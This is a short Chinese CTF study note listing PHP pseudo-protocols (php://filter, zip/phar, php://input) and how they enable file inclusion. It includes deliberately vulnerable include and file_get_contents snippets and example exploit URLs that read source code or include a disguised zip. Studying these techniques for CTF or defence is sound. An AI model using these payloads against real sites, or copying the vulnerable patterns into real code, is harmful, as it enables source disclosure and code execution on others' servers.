这次校赛,学长出的一道tomcat提权的题目,需要用伪协议去读文件和getshell,所以记录下常见的几种伪协议及其安全问题。
0x01 php://filter
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用,这里可造成LFI
<?php //test.php
phpinfo();
?>
<?php //1.php
include($_GET['a']);
?>
http://127.0.0.1/1.php?a=php://filter/read=convert.base64-encode/resource=index.php
base64 decode一下就是test.php的源码 allow_url_include:on 可以造成RFI
0x02 zip和phar协议
zip(phar)协议造成的文件包含,将test.php压缩为test.zip,再zip改名为jpg格式
http://127.0.0.1/1.php?a=zip:///var/www/html/test.jpg%23test.php
成功包含
0x03 php://input
php://input可以访问请求的原始数据的只读流,可以接收POST请求的数据,造成文件包含
<?php
$user=$_GET['user'];
if(file_get_contents($_GET['a'],'r')==='test'){
echo phpinfo();
}
else{
echo "test failed!";
}
?>